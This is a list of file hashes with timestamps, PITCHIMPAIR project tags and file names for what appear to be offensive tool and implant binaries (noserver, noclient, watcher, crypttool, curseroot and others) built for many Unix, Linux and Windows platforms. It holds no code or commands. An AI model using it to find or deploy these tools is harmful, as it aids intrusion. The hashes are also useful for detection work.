00:00:45 2008 [PITCHIMPAIR.12] toast.i386-pc-bsdi4.0.1 +A19A0A2AAECCBB7C8E8382711CFF052074FA0144 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-pc-sco3.2v5.0.5 +63AF9D870AA89AF40DF358F110DF4C1F19CB3474 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-pc-solaris2.6 +0EF7C457432414BF88F45945A2CACF6477BC4C24 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-pc-solaris2.7 +7D503113A865B22A463F2B6F7E9E644108FA3150 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-pc-solaris2.8 +7D503113A865B22A463F2B6F7E9E644108FA3150 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-pc-solaris2.9 +78FE57897FD111918C5842A338A4A20C945DF94F Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-unknown-freebsd4.0 +277746F601212EDCC484F2F1122AAE613A1D97C6 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-unknown-freebsd5.3 +859157AE53898E012865DBCD5ED36F0336908B6B Wed Mar 10 22:22:41 2010 [PITCHIMPAIR.12] toast.i386-unknown-freebsd7.0-static +78FE57897FD111918C5842A338A4A20C945DF94F Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-unknown-freebsdelf4.1 +4386E5DBDC6402FDB988D8B4DD83510C326FDAF6 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-unknown-openbsd2.5 +AAD328F88CD2B901CE850E31F597F93731313E69 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-unknown-openbsd3.0 +03A3869459B6DAD29CF25D5B8037ED0619923F0D Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i486-pc-linux-gnu +C7BE3728115A5970FE701E28456490EBAA62FA34 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i486-pc-linux-gnulibc1 +EA19B1410F855C419166C5E85358BB537A5A5601 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i586-pc-linux-gnu +DED99852F7FCEBFC9CA888743C8E2D9FFA8B5479 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i686-pc-linux-gnu +8BEC104E6B866F9700415442D51FE4A8478AA0B0 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i686-pc-linux-gnulibc1-slackware-4.0.0 +753305C9C2AA48BF916D9F5DC268478FA0532DCC Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.mips-sgi-irix5.3 +4C49B838202F3894FDDF2BD5BE0FDDE3FD1D500A Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.powerpc-apple-darwin1.3 +F39317261EAE12A1052F2ADB4578D54A5D3C3B59 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.powerpc-ibm-aix4.3.2.0 +6425969E388F6B8D2DD435143593A391DB25BCF5 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.powerpc-ibm-aix5.1 +6E0D33524CA2A0642FAB8579C7A2E2DA83742702 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-solaris2.3 +FF9C9CDD690636EC2099C7F18CFE4E22B5021543 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-solaris2.4 +C3B5B22FEE9E0731FDD38157AE5024606E2E191B Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-solaris2.5 +262F45A7D98AB8F693678CB23C6130078B701BCC Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-solaris2.5.1 +4FDDB3DC31BF36EE96923C291FD6364C57838595 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-solaris2.6 +63AD52BD4EAF4181F03550F40A6ECADE42A6BFF6 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-solaris2.7 +C194CDA72FE9123E6F8041C99AC2417983BA0972 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-solaris2.8 +8963D7C99D95AB8CFA9ABC3EB47C012F851BD527 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-sunos4.1.1 +232C7AA15338046C419FF8EB4ECC0ACE261FFDF2 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-sunos4.1.2 +B3CE6AB92091E3027DE714FF6D9A117F8DE2715E Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-sunos4.1.3 +6BCE80996A80418B57AC271D9E75DCDCB24E97B3 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-sunos4.1.3_U1 +ABE16AD069D90605142E2F88823CB3AE6632BD32 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-sunos4.1.4 +5CA4F7C192E4AB269E41BA6576403A11419DA1A5 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-unknown-linux-gnu +09A287C371A9BE0CBF070CE8985A4512CED4EA9E Mon Nov 23 21:08:18 2009 [PITCHIMPAIR.12] watcher.i386-linux_v.2.6.0.1 +E68A9D191E0F386E021DB15F84241D5064E9CB5D Thu Dec 17 18:56:51 2009 [PITCHIMPAIR.12] watcher.i386-linux_v.2.6.1.1 +3F9076543A8950D8CE1A42C60DB1CA45FECB6238 Wed May 20 19:04:07 2009 [PITCHIMPAIR.12] watcher.solaris.sparc_v.2.5.0.1 +84D4C64A64294E71B5409FD4DBA95359B7F1C11A Mon Nov 23 21:08:18 2009 [PITCHIMPAIR.12] watcher.sparc-sun-solaris2.6_v.2.6.0.1 +79B04CB34130F60B3FF747E02C5F6BFFD2701B9F Thu Dec 17 18:56:51 2009 [PITCHIMPAIR.12] watcher.sparc-sun-solaris2.6_v.2.6.1.1 +E4BB312243DD18D33021FFEA8D340D3950ACFBFD Wed May 20 19:04:07 2009 [PITCHIMPAIR.12] watcher.x86.linux_v.2.5.0.1 +CF671F45391B1F03BC2D2DF1D6E513A831E14910 Fri Oct 14 18:25:03 2011 [PITCHIMPAIR.23] watcher.sparc-solaris_v.2.7.0.0 +54CAAE586EF45AB2208CA91F35F9CE170FEB06A7 Tue Apr 6 14:12:27 2010 [PITCHIMPAIR.12] watchmove.sh +392EA3F962C592B8976E452B4DB07C3AF73447CB Fri Apr 15 18:12:31 2011 [PITCHIMPAIR.12] wrapsift.sh +9CC0375932CBC695BB620FE37EBD97A082588BB2 Thu Apr 19 17:11:53 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-hppa1.1.hp.hpux-10.20 +450BE4BE9B63C9F8FD27E30E1E9AAE2B7A4C8DCD Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-hppa1.1.hp.hpux-11.00 +0F8B7D72965F317B9CFC30CCD31AD77BADD88C15 Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i386.pc.solaris-2.10 +8D4A76E4810630309869B4054AAEA16B999D1259 Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i386.unknown.freebsd-4.7 +9AF2E01DBC95B18400FA97EFE6BEF2AB33E34BA7 Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i386.unknown.freebsd-5.1 +3DC4840463383354A38CD1E135949E3E6B7DA1F7 Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i386.unknown.freebsd-6.1 +869C6C74FCCA3251A5079F773A67F0E4ADFEE81B Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i386.unknown.freebsd-7.0 +5E718D96F058C88BD5A56840693746B725DCC8E9 Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0 +687C2379218A31B8EECE12EA4F4634515CA6CA9B Tue Sep 20 15:09:24 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i686.pc.linux.gnu.redhat-6.0 +8656C8398298D3B201AFEDAAFAF45D82AB54980A Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i686.pc.linux.gnu.redhat-ES +68D296D905BE58F132BEB7272E859678F07AB2D4 Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-powerpc.ibm.aix-5.1 +8F1DA0456CCCC1455C0406E4A961C4548FBA6F31 Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-sparc.sun.solaris-2.6 +CCE3140894BDBB9D6F7356D2483CC7FBA90A4E3B Thu Apr 19 17:56:29 2007 [PITCHIMPAIR.12] noserver-3.0.3.4-i386.pc.bsdi-2.1 +01D6A6C217D14F248F4AEB5F2D95E47E062D1757 Thu Apr 19 17:07:09 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-alphaev6.dec.osf-4.0f +C838FC0705A337DFF766E7803DBCEC10A2FAEF5C Thu Apr 19 17:06:02 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-alphaev67.unknown.linux.gnu.redhat-7.0 +9CC0375932CBC695BB620FE37EBD97A082588BB2 Thu Apr 19 17:11:53 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-hppa1.1.hp.hpux-10.20 +D6FF31312BD32DAF84E6DCE4CFBE72D93139169F Thu Apr 19 17:13:51 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.pc.sco3.2v-5.0.5 +6E438480A70E154CEB090EAEC1B79768144EC1EE Thu Apr 19 17:14:35 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.pc.solaris-2.6 +AFFC16D1BF3831060745BF5A1B3BD928A61926EC Thu Apr 19 17:16:56 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-4.3 +16DF569585516E500BFB8A1DB0AA295A48761E49 Thu Apr 19 17:17:03 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-4.4 +81BE78CB312739FA3BCD8763EC4082BAB7A63DFA Thu Apr 19 17:17:14 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-4.5 +6808CF4BAA1127D4E347EA4275B131FD4171E583 Thu Apr 19 17:25:33 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-6.0 +B8EFD08AF7A66CC8D38B457A714CA096CBC68495 Thu Apr 19 17:27:32 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.openbsd-3.4 +575F35479DDCC3CBA2CF1CFF5FAD56D9829F390C Thu Apr 19 17:27:57 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.openbsd-3.7 +D329F552C4DF6A020EC1F5C4C22AB1D54DD3A950 Thu Apr 19 17:30:21 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i586.pc.linux.gnu.redhat-5.0 +179975D30A51B3C78297B3F5925D9F230276A2A4 Thu Apr 19 17:35:38 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i686.pc.linux.gnu.redflag-2.0 +35AC1425105179D33FD2B7E0207839617BE4EB0C Thu Apr 19 17:36:30 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i686.pc.linux.gnu.redhat-ES +063CDA75A48DD85702C143A5C2D2383067061813 Thu Apr 19 17:32:06 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i686.pc.linux.gnulibc1.slackware-4.0.0 +EAC91997E8DEEF5C30E1D98DD1553AF8F307C7C1 Thu Apr 19 17:34:20 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i686.pc.linux.gnuoldld.redhat-6.0 +43449922E6BC7EBFAE83A419AA0B27280A1BD937 Thu Apr 19 17:37:12 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-mips.sgi.irix-5.3 +98E8B8CE0DEA55932B14E6F83B083AE511832F19 Thu Apr 19 17:38:47 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-powerpc.ibm.aix-4.3.3.0 +1F1BC94C493C211897DABC6802C69C1480E48D69 Thu Apr 19 17:39:32 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.sun.solaris-2.3 +67D1E40E2A5FE645BBEAEE0F24F4DD5A61C5BD46 Thu Apr 19 17:39:37 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.sun.solaris-2.4 +C42860C8D6426ABFDA19D9557B995BF6B54047B5 Thu Apr 19 17:39:42 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.sun.solaris-2.5 +B7AFD98C8B2DEF1B99C1035920342FF17D014BBE Thu Apr 19 17:39:55 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.sun.solaris-2.5.1 +0F993F91CCDF78778FA5A73D2F78E8A396E3286A Thu Apr 19 17:40:47 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.sun.solaris-2.7 +156AAE8819BA25C9F6CC2E436C7034D30E0DF648 Thu Apr 19 17:43:02 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.unknown.linux.gnu.redhat-6.2 +8D4EED0C666065AD5BFAA6F0055231DB8D997950 Fri Oct 16 18:37:41 2009 [PITCHIMPAIR.12] noserver-3.0.4.2-armv5b.linux +7CA22B6DDCDFE427B95EBEE1D168F93A5D44BEC0 Thu Jan 7 17:41:08 2010 [PITCHIMPAIR.12] noserver-3.0.4.3-mips.linux +E27DA9FB028889BE5DC7B83AF40D964081B26F54 Fri Jun 25 14:25:44 2010 [PITCHIMPAIR.12] noserver-3.0.4.4-i386.mac +0AE3B4B1BCCF1BC5E0BAD76AF0FC9AA011EB573D Thu Apr 19 17:19:35 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-4.3-static +3337B623774116C30C79795C293E6D11BEB1A3C5 Thu Apr 19 17:19:29 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-4.4-static +B0CE74303980B61DE036FFDFAB11268506A5DF9B Thu Apr 19 17:19:23 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-4.5-static +8868975739E892591FF1FCEF715EFF5D90A63B95 Thu Apr 19 17:26:02 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-6.0-static +17B78BF223B4639DA6813253FFEA0C09DE56A5E6 Thu Apr 19 17:27:42 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.openbsd-3.4-static +8319E8F7279EF8A5AA646C064C87D5FE0B1213EA Thu Apr 19 17:28:05 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.openbsd-3.7-static +43ED4E18E31F2DEF06AED1815F28F7EB4ABF46BD Thu Apr 19 17:31:05 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i586.pc.linux.gnu.redhat-5.0-static +B99BF7A731731214546DEB9FCFC8755FDB8749F2 Thu Apr 19 17:43:10 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.unknown.linux.gnu.redhat-6.2-static +8D4EED0C666065AD5BFAA6F0055231DB8D997950 Fri Oct 16 18:37:41 2009 [PITCHIMPAIR.12] noserver-3.0.4.2-armv5b.linux-static +037EE5F3DF49078FAB09C785433E443078BE775F Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i386.unknown.freebsd-4.7-static +0274BD33C2785D4E497B6BA49F5485CAA52A0855 Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static +8CFAB34EF79F1270FE7CDE2F529886E9E163E699 Tue Sep 20 16:28:45 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-hppa2.0w.hp.hpux-11.00 +A00AA49C77C8359FED40B8E98288232A839BC1BA Tue Sep 20 16:28:45 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.apple.darwin-10.1 +CF03DCFAFB57D6605DB254BB54441C43FC9792F2 Tue Sep 20 16:28:45 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.pc.solaris-2.6 +AF5BD50867FD34C03530C5D477B5452DBC1F7381 Tue Sep 20 16:28:45 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.pc.solaris-2.8 +D907FC41207FD301E8F5ECDC93486A47A6723165 Tue Sep 20 16:28:45 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.unknown.freebsd-4.7 +755F74E02EAA6F819131C2255EC5821470BE64F3 Tue Sep 20 16:28:45 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.unknown.freebsd-4.7-static +C990F7F3D9A87417A21A9830355BC4DE94FC152D Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.unknown.freebsd-5.1 +64C7A9341DC0148513EE0E3B76EED95901492523 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.unknown.freebsd-6.1 +F445E5330CADB62BDAF8C02FC66B5D0C4CC13987 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.unknown.freebsd-7.0 +F2096011F136D1388D399C3BD665692FA79E3972 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i686.pc.linux.gnu.redhat-5.0 +F6218CE079271ABC6B4FE6F5E7B99287E84A4467 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i686.pc.linux.gnu.redhat-5.0-static +687C2379218A31B8EECE12EA4F4634515CA6CA9B Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i686.pc.linux.gnu.redhat-6.0 +C3D2D2705DB03434525727901CD177E64894BF50 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i686.pc.linux.gnu.redhat-ES +8CA04580538CF0825DDC54FF15A02E4A53062AB2 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-powerpc.ibm.aix-5.1 +7E048D7923FDA1F84E96DF1182FBB87B4E4CA30E Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-sparc.sun.solaris-2.6 +BABF40038F042B21EA0426311B9F12181F52DE49 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-sparc.sun.solaris-2.8 +F8CF2697ACDCF1EEEC9565102DBA94BE5D3C6568 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] client/addkey.py +97F5303B45367A1687251B95FB57F76BCA584D4C Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] client/default_key.txt +07EB67E608450210DC7618B22D43A19AE51E598B Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] client/genkey.py +9149C57199D70046AD2C6C466540CA62CFA76363 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] client/noclient-3.2.1.1-i686.pc.linux.gnu.redhat-ES +BBCA2EF9ACF9BF2FA2E11F44FD371708BA25201C Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] client/noprep.py +E3E74C64EBBAE93BE18F3CF0049A00AA9FD4E260 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] client/Store +495E7391CE61F4720B89084652BB762DF7FB800A Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-hppa2.0w.hp.hpux-11.00 +FC430F2B3B4F3622574B084636A539F68DE312BB Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.apple.darwin-10.4 +E380B1D90CD310182A5CFEA76528AC1D47E8C6DA Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386-junos-8.4-and-below +4F2B7B74FC5AA44BABA506BC8448815F8DCDD6C6 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386-junos-8.5-and-above +F47F5BE9FAAAC37DB4601C256DF80E0BC48D11B1 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.pc.solaris-2.6 +FBCCC35451045A77B6FEBCF3FFDAEBBC33D2D633 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.pc.solaris-2.8 +38BE788CA4C54628102728A997089BA0D81A0B5D Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.unknown.freebsd-4.7 +8859476032D2124D1E6C02304B185A7F56E9D050 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.unknown.freebsd-4.7-static +3BBF856ECF96671094D8E02F779577C05CEE74BA Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.unknown.freebsd-5.0 +1D829859FE5997184EF2A3E473E1B7C44B5B5DEE Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.unknown.freebsd-6.1 +40C95A082BEEC0D46B73FEF73DEF4758FCC7E4E5 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.unknown.freebsd-7.0 +9B1A6FF78882D8F84E44BC23B7216B85A472B1E6 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i686.pc.linux.gnu.redhat-6.0 +757353623C139700E8A9BCFA04CCCB6A97A8F4FF Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i686.pc.linux.gnu.redhat-6.0-static +11F42348E6978AD1316ADB927DCB12F8CA21FCE1 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i686.pc.linux.gnu.redhat-6.0-static-noipv6 +798FB16BBDE0512A9D93F2FEEA2AFC685185321F Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-powerpc.ibm.aix-5.1 +AE8A30AFE15DA6F2E7ED48F222B0B10671E15D80 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-ppc-junos +4A4B981DF5F0EAF8A94DB674F88CACBAC5ACECF0 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-sparc.sun.solaris-2.7 +83B7105495A2309AA424C1ED5109C26218F23193 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-sparc.sun.solaris-2.8 + +7C7B33EA0156D63708C10999C148E762BF5213F4 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noclient-3.3.0.1-linux-i386 +EE5EF80B9A58C1A18AADD082EA02E53F0E1BE71F Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-aix-ppc +7C9C3AEEC4B641E76E8FE196CCCA54E9DC7B5C09 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-darwin-10-i386 +E27D90F17D2F09DB00BC8E69844B6C1DA4104B2D Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-darwin-11-i386 +A4A5EF41EECF5FD0FAFE8F1B6AAF8F5D1A1E6A14 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-darwin-9-i386 +6AD47B3B91B098D960DDB77BF669DEB8A635C62B Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-freebsd-4.x-i386 +5CFB484B3965C4DA8D827A7D0E8401843C8314D7 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-freebsd-5.x-i386 +2CBC464D2A2BC1DC9A62C2ECB923AB0C8A40E5AD Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-freebsd-6.x-i386 +BC349505F6379DC149EE93B999566C9857FA1F7D Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-freebsd-7.x-i386 +CA25B95FB19922A6B12F19A91EBCB1309FD3BBE1 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-hpux-hppa2_0 +47FFC93A774A04F0ED28985AA976427E2E6887DD Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-junos-8.4-and-below-i386 +1AE4EE37398497682D61DA55D1D1A5AD03080FB2 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-junos-8.5-and-above-i386 +9D405E2403482094032EC3C19A73122ADE99D432 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-junos-ppc +9F569DE062862B6504E74092F0CC967521B3F159 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-linux-i386 +BDC24172856D8B917726EA4FEC28E797CEE0B991 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-solaris-2.10-i386 +5D8F0ADEA7EC1B0ADF36BB38C798C0003DBE0E58 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-solaris-2.10-sparc +6700CB1383EE346EDB293F73D6349D50C171999A Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-solaris-2.7-i386 +D0B9599D0E3824EE4F715DE5C3DD719E3C482C5E Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-solaris-2.7-sparc +BDC24172856D8B917726EA4FEC28E797CEE0B991 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-solaris-2.8-i386 +5D8F0ADEA7EC1B0ADF36BB38C798C0003DBE0E58 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-solaris-2.8-sparc +BDC24172856D8B917726EA4FEC28E797CEE0B991 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-solaris-2.9-i386 +5D8F0ADEA7EC1B0ADF36BB38C798C0003DBE0E58 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-solaris-2.9-sparc +F8CF2697ACDCF1EEEC9565102DBA94BE5D3C6568 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] client/addkey.py +97F5303B45367A1687251B95FB57F76BCA584D4C Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] client/default_key.txt +07EB67E608450210DC7618B22D43A19AE51E598B Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] client/genkey.py +BBCA2EF9ACF9BF2FA2E11F44FD371708BA25201C Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] client/noprep.py +0F232B3E98338D8A1AEB4BA45569B1C60AF367C2 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] client/Store +E3E74C64EBBAE93BE18F3CF0049A00AA9FD4E260 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] client/Store.old +931852EEBADA852DFBEB2D7230951AFAB8E58711 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-freebsd-4.7-i386-static +F3F7E146227E7B6362D8D26F2F635DA0641568E7 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-linux-i386-static + +092290E03075FA55B66874398E72EE3956F15F3B Fri May 18 14:49:21 2012 [PITCHIMPAIR.xx] charm_penguin.sunos5.8_v.2.0.1.4 +1B23226DA89FEEE4A9DEB631069D7449E4372A8A Wed Aug 13 18:07:17 2008 [PITCHIMPAIR.xx] crypttool.linux2.4.21-37.elsmp_v.1.5.0.8 +ED3FA710317E7D0BCDED864C7766E9D8530AE238 Thu May 17 14:24:31 2012 [PITCHIMPAIR.xx] crypttool.linux2.4.18-3_v.2.0.1.3 +30B0CBBFB4F6F9CBF40A0A18E08B4C71231D2B1D Thu May 17 14:24:31 2012 [PITCHIMPAIR.xx] crypttool.sunos5.8.sparc_v.2.0.1.3 +36821190B36342B1ED7C5FE185D3B4FD0F820B43 Thu May 17 14:24:31 2012 [PITCHIMPAIR.xx] crypttool.sunos5.8.i386_v.2.0.1.3 +5F5B1285967393B7A2485EBE3ADEF9D2047E4CA8 Thu May 17 14:24:31 2012 [PITCHIMPAIR.xx] crypttool.win2k_v.2.0.1.3 +F52340918751E515BBF9B4B111EAFE81E28874E0 Thu May 17 14:24:31 2012 [PITCHIMPAIR.xx] crypttool.hpuxb.11.00_v.2.0.1.3 +1A0B601B7A2B72606D4193E5A5E7D4A610C9CA7F Thu May 17 14:24:31 2012 [PITCHIMPAIR.xx] crypttool.aix5.1_v.2.0.1.3 +F30D68AB7C63548AE9736B8FC8A0F98EE9D6ABEE Fri Jan 7 15:44:31 2011 [PITCHIMPAIR.xx] crypttool.linux2.4.18-3_v.2.0.0.15 +0D4A01E9C4F0683078650DD94CCE24BAE65168C5 Tue Jun 5 13:17:37 2012 [PITCHIMPAIR.xx] curseclash.aix5.1.powerpc_v.1.0.1.1 +253E0E246633E603E58DAB97E1D4782FB7DDDA84 Fri Mar 23 11:44:31 2012 [PITCHIMPAIR.xx] curseroot.win2k.i686_v.2.2.0.7 +A41EE20E65397DCE5F288B748A52C6D6C4F9154A Tue Nov 8 16:45:11 2011 [PITCHIMPAIR.xx] cursehappy.win2k.i686_v.6.2.0.3 +AAB569E5B3643DBE07F981EFA6E1F2D68E25B723 Tue Nov 8 16:45:11 2011 [PITCHIMPAIR.xx] cursehappy.linuxrh7.3.unknown_v.6.2.0.3 